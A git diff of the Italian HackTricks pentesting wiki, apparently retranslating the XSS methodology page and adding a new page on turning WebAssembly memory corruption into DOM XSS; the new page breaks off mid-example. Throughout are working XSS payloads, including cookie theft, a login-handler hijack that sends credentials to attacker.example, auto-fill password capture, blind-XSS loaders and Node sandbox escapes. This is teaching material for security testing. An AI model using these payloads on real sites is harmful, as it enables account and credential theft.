diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 7534cc9c4..28f5541ee 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -5,31 +5,32 @@ ## Metodologia 1. Verifica se **qualsiasi valore che controlli** (_parameters_, _path_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **usato** dal codice **JS**. -2. **Trova il contesto** in cui viene riflesso/usato. -3. Se è **reflected** -1. Controlla **quali simboli puoi usare** e a seconda di questo prepara il payload: -1. In **raw HTML**: +2. Trova il **contesto** in cui viene riflesso/usato. +3. Se **riflesso** +1. Controlla **quali simboli puoi usare** e in base a questo prepara il payload: +1. In **HTML grezzo**: 1. Puoi creare nuovi tag HTML? 2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`? -3. Puoi bypassare le protezioni? -4. Il contenuto HTML viene interpretato da qualche engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Se non puoi creare tag HTML che eseguono codice JS, puoi abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +3. Riesci a bypassare le protezioni? +4. Il contenuto HTML viene interpretato da qualche engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di una [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di una [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. All'interno di un **tag HTML**: -1. Puoi uscire al contesto raw HTML? +1. Puoi uscire al contesto HTML grezzo? 2. Puoi creare nuovi eventi/attributi per eseguire codice JS? 3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS? -4. Puoi bypassare le protezioni? -3. All'interno del **codice JavaScript**: -1. Puoi evadere il tag ``** di una pagina HTML, all'interno di un file `.js` o in un attributo che usa il protocollo **`javascript:`**: +In questo caso il tuo input viene riflesso tra i tag **``** di una pagina HTML, all'interno di un file `.js` o dentro un attributo che usa il protocollo **`javascript:`**: -- Se riflesso tra i tag **``**, anche se il tuo input è racchiuso in qualsiasi tipo di virgolette, puoi provare a iniettare `` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non noterà che il tuo tag `` iniettato si trovi all'interno del codice HTML. -- Se riflesso **all'interno di una JS string** e l'ultimo trucco non funziona dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito: +- Se riflesso tra **``** tags, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché **il browser prima analizzerà i tag HTML** e poi il contenuto, quindi non noterà che il tag `` iniettato è all'interno del codice HTML. +- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Se riflesso all'interno di template literals puoi **inserire espressioni JS** usando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- La **codifica Unicode** funziona per scrivere **codice javascript valido**: +- **La codifica Unicode** funziona per scrivere **codice javascript valido**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting si riferisce alla possibilità di **dichiarare funzioni, variabili o classi dopo che sono state usate in modo da poter sfruttare scenari in cui una XSS sta usando variabili o funzioni non dichiarate.**\ -**Controlla la pagina seguente per maggiori info:** +Javascript Hoisting si riferisce all'opportunità di **dichiarare funzioni, variabili o classi dopo che sono state usate così da poter sfruttare scenari in cui una XSS usa variabili o funzioni non dichiarate.**\ +**Check the following page for more info:** {{#ref}} @@ -95,15 +96,15 @@ js-hoisting.md ### Javascript Function -Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune visto in ambiente reale è qualcosa come: `?callback=callbackFunc`. +Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. -Un buon modo per scoprire se qualcosa fornito direttamente dall'utente viene eseguito è **modificare il valore del parametro** (per esempio in 'Vulnerable') e guardare nella console errori come: +Un buon modo per capire se qualcosa fornito direttamente dall'utente viene eseguito è **modificare il valore del parametro** (per esempio in 'Vulnerable') e guardare nella console errori come: ![](<../../images/image (711).png>) -Se è vulnerabile, potresti riuscire a **scatenare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**). +Se è vulnerabile, potresti essere in grado di **far scattare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**). -Tuttavia, anche con questa limitazione è ancora possibile effettuare alcune azioni. Questo perché puoi usare quei caratteri validi per **accedere a qualsiasi elemento del DOM**: +Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per **accedere a qualsiasi elemento del DOM**: ![](<../../images/image (747).png>) @@ -115,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`. +Puoi anche provare a **eseguire direttamente funzioni Javascript**: `obj.sales.delOrders`. -Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint con un DOM poco interessante; altre pagine nella stessa origine avranno un DOM più interessante per eseguire ulteriori azioni. +Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint con un DOM poco interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni. -Perciò, per sfruttare questa vulnerabilità in un DOM diverso è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME): +Perciò, per **abusare di questa vulnerabilità in un DOM diverso** è stato sviluppato lo sfruttamento **Same Origin Method Execution (SOME)**: {{#ref}} @@ -128,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Esiste **JS code** che usa **in modo non sicuro** alcuni **dati controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario. +Esiste **codice JS** che sta usando **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario. {{#ref}} @@ -137,7 +138,7 @@ dom-xss.md ### **Universal XSS** -Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dallo sfruttamento client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **arbitrary JavaScript execution** può persino essere abusato per ottenere **RCE**, leggere file arbitrari sui client e sui server, e altro ancora.\ +Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dallo sfruttamento lato client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **esecuzione arbitraria di JavaScript** può persino essere abusata per ottenere **RCE**, **leggere** **file** **arbitrari** su client e server, e altro.\ Alcuni **esempi**: @@ -150,17 +151,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## Immagine per WAF bypass encoding +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Iniezione all'interno di raw HTML +## Iniettare all'interno dell'HTML grezzo -Quando il tuo input viene riflesso **all'interno della pagina HTML** oppure puoi evadere e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è verificare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML**, **eliminato** o se viene **riflesso senza modifiche**. **Solo nel ultimo caso sarai in grado di sfruttare questa situazione**.\ -Per questi casi tieni anche **in considerazione** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Nota: Un commento HTML può essere chiuso usando `-->` o `--!>`**_ +Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi scappare e iniettare codice HTML in questo contesto la **prima** cosa che devi fare è verificare se puoi abusare del carattere `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML encoded** o **cancellato** oppure se viene **riflesso senza modifiche**. **Solo nell'ultimo caso potrai sfruttare questa situazione**.\ +Per questi casi tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ -In questo caso e se non viene usata nessuna black/whitelisting, potresti usare payloads come: +In questo caso e se non viene usato alcun black/whitelisting, potresti usare payloads come: ```html ` o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo `javascript:`. +In questi casi il tuo **input** verrà **riflesso nel codice JS** di un file `.js` o tra tag `` o all'interno di eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`. -### Evasione del tag \` puoi facilmente chiudere il tag `` puoi facilmente chiudere il tag ` ``` -Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché **il parsing HTML viene eseguito prima dal browser**, che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing del JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo in seguito. +Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché **l'HTML viene prima analizzato dal browser**, il quale identifica gli elementi della pagina, inclusi i blocchi di script. L'analisi del JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente. ### All'interno del codice JS -If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. È importante **fix JS syntax**, perché se ci sono errori, il codice JS non verrà eseguito: +Se `<>` vengono sanitizzati puoi comunque **applicare l'escape alla stringa** nel punto in cui il tuo input è **posizionato** ed **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori il codice JS non verrà eseguito: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,23 +497,25 @@ If `<>` are being sanitised you can still **escape the string** where your input ``` #### JS-in-JS string break → inject → repair pattern -Quando l'input dell'utente finisce all'interno di una quoted JavaScript string (es., server-side echo into an inline script), puoi terminare la stringa, inject code e riparare la sintassi per mantenere il parsing valido. Scheletro generico: +Quando l'input dell'utente finisce dentro una stringa JavaScript tra virgolette (es., server-side echo in uno script inline), puoi terminare la stringa, inject code e repair the syntax per mantenere il parsing valido. Scheletro generico: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -Esempio di pattern dell'URL quando il parametro vulnerabile viene riflesso in una stringa JS: +Esempio di URL pattern quando il parametro vulnerabile viene riflesso in una stringa JS: ``` ?param=test";;a=" ``` +Questo esegue JS dell'attaccante senza bisogno di toccare il contesto HTML (puro JS-in-JS). Combinalo con i bypass della blacklist qui sotto quando i filtri bloccano parole chiave. + ### Template literals `` -Per costruire **stringhe**, oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché permette di **inserire espressioni JS** usando la sintassi `${ ... }`.\ -Di conseguenza, se scopri che il tuo input viene **reflected** all'interno di una stringa JS che usa backticks, puoi abusare della sintassi `${ ... }` per eseguire **arbitrary JS code**: +In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ +Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**: -Questo può essere **abusato** usando: +This can be **abused** using: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -533,12 +536,12 @@ loop`` ``` #### Deliverable payloads con eval(atob()) e sfumature di scope -Per mantenere gli URL più corti e bypassare filtri di parole chiave banali, puoi codificare in base64 la tua logica reale e valutarla con `eval(atob('...'))`. Se un filtro di parole chiave semplice blocca identificatori come `alert`, `eval` o `atob`, usa identificatori Unicode-escaped che compilano in modo identico nel browser ma eludono filtri che fanno matching sulle stringhe: +Per mantenere gli URL più corti e bypassare filtri di keyword naïve, puoi codificare in base64 la tua logica reale e valutarla con `eval(atob('...'))`. Se un filtraggio di keyword semplice blocca identificatori come `alert`, `eval` o `atob`, usa identificatori Unicode-escaped che vengono compilati allo stesso modo nel browser ma eludono i filtri basati sul confronto di stringhe: ``` \u0061\u006C\u0065\u0072\u0074(1) // alert(1) \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...')) ``` -Nota importante sullo scoping: `const`/`let` dichiarati all'interno di `eval()` hanno ambito a blocco e NON creano globals; non saranno accessibili agli script successivi. Usa un elemento ` ``` -- **module** (default, niente da spiegare) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che permette di raggruppare vari dati (HTML, CSS, JS…) in un unico file **`.wbn`**. +- **module** (predefinito, niente da spiegare) +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) in un file **`.wbn`**. ```html ``` -Questo comportamento è stato usato in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria su eval; abusarne può causare XSS. +Questo comportamento è stato usato in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria su eval e abusarne per scatenare XSS. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità è principalmente per risolvere alcuni problemi causati dal pre-rendering. Funziona così: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così: ```html ``` -### Content-Types Web per XSS +### Web Content-Types per XSS -(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti Content-Types possono eseguire XSS in tutti i browser: +(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti Content-Types possono eseguire XSS in tutti i browser: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml -- text/plain (?? non nella lista ma penso di averlo visto in un CTF) +- text/plain (?? non nella lista ma credo di aver visto questo in una CTF) - application/rss+xml (off) - application/atom+xml (off) @@ -970,7 +983,7 @@ In altri browser altri **`Content-Types`** possono essere usati per eseguire JS ### xml Content Type -Se la pagina restituisce un content-type text/xml, è possibile indicare un namespace ed eseguire JS arbitrario: +Se la pagina restituisce un content-type text/xml è possibile indicare un namespace ed eseguire JS arbitrario: ```xml hello @@ -978,11 +991,11 @@ Se la pagina restituisce un content-type text/xml, è possibile indicare un name ``` -### Pattern di Sostituzione Speciali +### Pattern di sostituzione speciali -Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", )`** l'attaccante potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", )`** l'attacker potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Per esempio, in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per effettuare l'escape di una JSON string all'interno di uno script ed eseguire codice arbitrario. +Per esempio in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per eseguire l'escape di una stringa JSON all'interno di uno script ed eseguire codice arbitrario. ### Chrome Cache to XSS @@ -1026,14 +1039,14 @@ constructor(source)() ``` Se **tutto è undefined** prima di eseguire codice non attendibile (come in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile: -- Using import() +- Usando import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Accesso indiretto a `require` -[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono avvolti da Node.js all'interno di una funzione, come segue: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono avvolti da Node.js all'interno di una funzione, come segue: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1048,7 +1061,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -In modo simile all'esempio precedente, è possibile **usare error handlers** per accedere al **wrapper** del module e ottenere la funzione **`require`**: +In modo simile all'esempio precedente, è possibile **usare i gestori di errori** per accedere al **wrapper** del modulo e ottenere la funzione **`require`**: ```javascript try { null.f() @@ -1086,9 +1099,9 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Offuscamento & Bypass Avanzato +### Obfuscation & Advanced Bypass -- **Diverse offuscazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Diverse obfuscations in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1267,7 +1280,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## Payload comuni per XSS +## XSS payloads comuni ### Diversi payloads in 1 @@ -1276,16 +1289,16 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] steal-info-js.md {{#endref}} -### Iframe Trap +### Trappola Iframe -Permette all'utente di navigare nella pagina senza uscire da un iframe e di intercettare le sue azioni (inclusi i dati inviati nei form): +Forza l'utente a navigare nella pagina senza uscire dall'iframe e cattura le sue azioni (inclusi i dati inviati nei form): {{#ref}} ../iframe-traps.md {{#endref}} -### Recuperare Cookies +### Recupero dei cookie ```javascript /?c="+document.cookie> @@ -1308,7 +1321,7 @@ Permette all'utente di navigare nella pagina senza uscire da un iframe e di inte ``` > [!TIP] -> **Non potrai accedere ai cookies da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato. +> Non **potrai accedere ai cookies da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato. ### Rubare il contenuto della pagina ```javascript @@ -1399,15 +1412,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano assenza di risposta._ +_Tempi brevi indicano una porta che risponde_ _Tempi più lunghi indicano nessuna risposta._ -Consulta la lista delle porte bloccate in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). +Consulta la lista delle porte bandite in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). -### Riquadro per richiedere credenziali +### Casella per richiedere credentials ```html ``` -### Cattura delle password tramite compilazione automatica +### Cattura delle password tramite Auto-fill ```javascript Username:
@@ -1418,11 +1431,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati all'attacker's server; anche se il client seleziona una saved password e non scrive nulla, le credentials verranno ex-filtrated. +Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati al attackers server, anche se il client seleziona una saved password e non scrive nulla le credentials saranno ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Se un handler critico (es., `function DoLogin(){...}`) viene dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare il handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook in controllo: +Se un handler critico (e.g., `function DoLogin(){...}`) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci un `const` con lo stesso nome prima per preempt e lockare l'handler. Dichiarazioni di funzione successive non possono rebindare un nome `const`, lasciando il tuo hook in controllo: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1430,21 +1443,21 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -Notes -- This relies on execution order: your injection must execute before the legitimate declaration. -- Se il tuo payload è racchiuso in `eval(...)`, i binding `const/let` non diventeranno globali. Use the dynamic ` ``` -### Abusing Service Workers +### Abuso dei Service Workers {{#ref}} abusing-service-workers.md {{#endref}} -### Accessing Shadow DOM +### Accesso allo Shadow DOM {{#ref}} @@ -1488,7 +1501,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Blind XSS payloads +### Payloads per Blind XSS Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1555,9 +1568,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Accesso ai contenuti nascosti +### Regex - Accedere a contenuti nascosti -Da [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS di diversi oggetti. Ad esempio, un input di una REGEX può ancora essere trovato anche dopo che il valore dell'input della REGEX è stato rimosso: +Dalla [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) si può apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli in attributi JS di diversi oggetti. Per esempio, un input di una REGEX è ancora rintracciabile anche dopo che il valore dell'input della REGEX è stato rimosso: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1574,7 +1587,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Lista Brute-Force +### Brute-Force Lista {{#ref}} @@ -1592,9 +1605,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt xss-in-markdown.md {{#endref}} -### XSS a SSRF +### XSS to SSRF -Hai XSS su un sito che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload: +Hai XSS su un **site that uses caching**? Prova a **upgrading that to SSRF** tramite Edge Side Include Injection con questo payload: ```python ``` @@ -1603,15 +1616,15 @@ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-inje ### XSS in PDF creato dinamicamente -Se una pagina web sta creando un PDF usando input controllato dall'utente, puoi provare a **ingannare il bot** che crea il PDF affinché **esegua codice JS arbitrario**.\ -Quindi, se il **PDF creator bot finds** qualche tipo di **tag HTML**, li interpreterà, e puoi **abusare** di questo comportamento per causare una **Server XSS**. +Se una pagina web crea un PDF usando input controllato dall'utente, puoi provare a **trick the bot** che sta creando il PDF per farlo **executing arbitrary JS code**.\ +Quindi, se il **PDF creator bot finds** qualche tipo di **HTML** **tags**, li **interpret** e puoi **abuse** questo comportamento per causare una **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare dati PDF**: +Se non puoi iniettare HTML tags, potrebbe valere la pena provare a **inject PDF data**: {{#ref}} @@ -1620,9 +1633,9 @@ pdf-injection.md ### XSS in Amp4Email -AMP, progettato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, nato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites). -The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email. +Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email. Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). @@ -1684,9 +1697,9 @@ id="foo"/> ```xml ``` -Trova **più payload SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Trova **altri SVG payloads su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Varie tecniche JS e informazioni rilevanti +## Trucchi JS e informazioni rilevanti {{#ref}} @@ -1704,7 +1717,7 @@ other-js-tricks.md ## Riferimenti -- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [Da "Low-Impact" RXSS a Credential Stealer: una guida JS-in-JS](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) - [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md new file mode 100644 index 000000000..e78062618 --- /dev/null +++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md @@ -0,0 +1,133 @@ +# WebAssembly linear memory corruption to DOM XSS (template overwrite) + +{{#include ../../banners/hacktricks-training.md}} + +Questa tecnica mostra come un bug di corruzione della memoria all'interno di un modulo WebAssembly (WASM) compilato con Emscripten possa essere trasformato in un DOM XSS affidabile anche quando l'input è sanitizzato. Il pivot consiste nel corrompere costanti scrivibili nella WASM linear memory (es. HTML format templates) invece di attaccare la stringa di origine sanitizzata. + +Idea chiave: nel modello WebAssembly il codice risiede in pagine eseguibili non scrivibili, mentre i dati del modulo (heap/stack/globals/"constants") vivono in un'unica memoria lineare piatta (pagine da 64KB) che è scrivibile dal modulo. Se codice C/C++ buggy scrive fuori dai limiti, è possibile sovrascrivere oggetti adiacenti e persino stringhe costanti incorporate nella memoria lineare. Quando una tale costante viene poi usata per costruire HTML per l'inserimento tramite un DOM sink, è possibile trasformare input sanitizzato in JavaScript eseguibile. + +Modello di minaccia e precondizioni +- Web app usa Emscripten glue (Module.cwrap) per chiamare un modulo WASM. +- Lo stato dell'applicazione risiede nella WASM linear memory (es. C structs con puntatori/lengths a user buffers). +- L'input sanitizer codifica i metacaratteri prima della memorizzazione, ma la successiva renderizzazione costruisce HTML usando una format string memorizzata nella WASM linear memory. +- Esiste una primitive di corruzione della memoria lineare (es. heap overflow, UAF, o memcpy non controllato). + +Modello di dati vulnerabile minimo (esempio) +```c +typedef struct msg { +char *msg_data; // pointer to message bytes +size_t msg_data_len; // length after sanitization +int msg_time; // timestamp +int msg_status; // flags +} msg; + +typedef struct stuff { +msg *mess; // dynamic array of msg +size_t size; // used +size_t capacity; // allocated +} stuff; // global chat state in linear memory +``` +Pattern logico vulnerabile +- addMsg(): alloca un nuovo buffer dimensionato sull'input sanitizzato e aggiunge un msg a s.mess, raddoppiando la capacità con realloc quando necessario. +- editMsg(): riesegue la sanitizzazione ed esegue memcpy dei nuovi byte nel buffer esistente senza assicurarsi che la nuova lunghezza ≤ la vecchia allocazione → intra-linear-memory heap overflow. +- populateMsgHTML(): formatta il testo sanitizzato con uno stub preconfezionato come "

%.*s

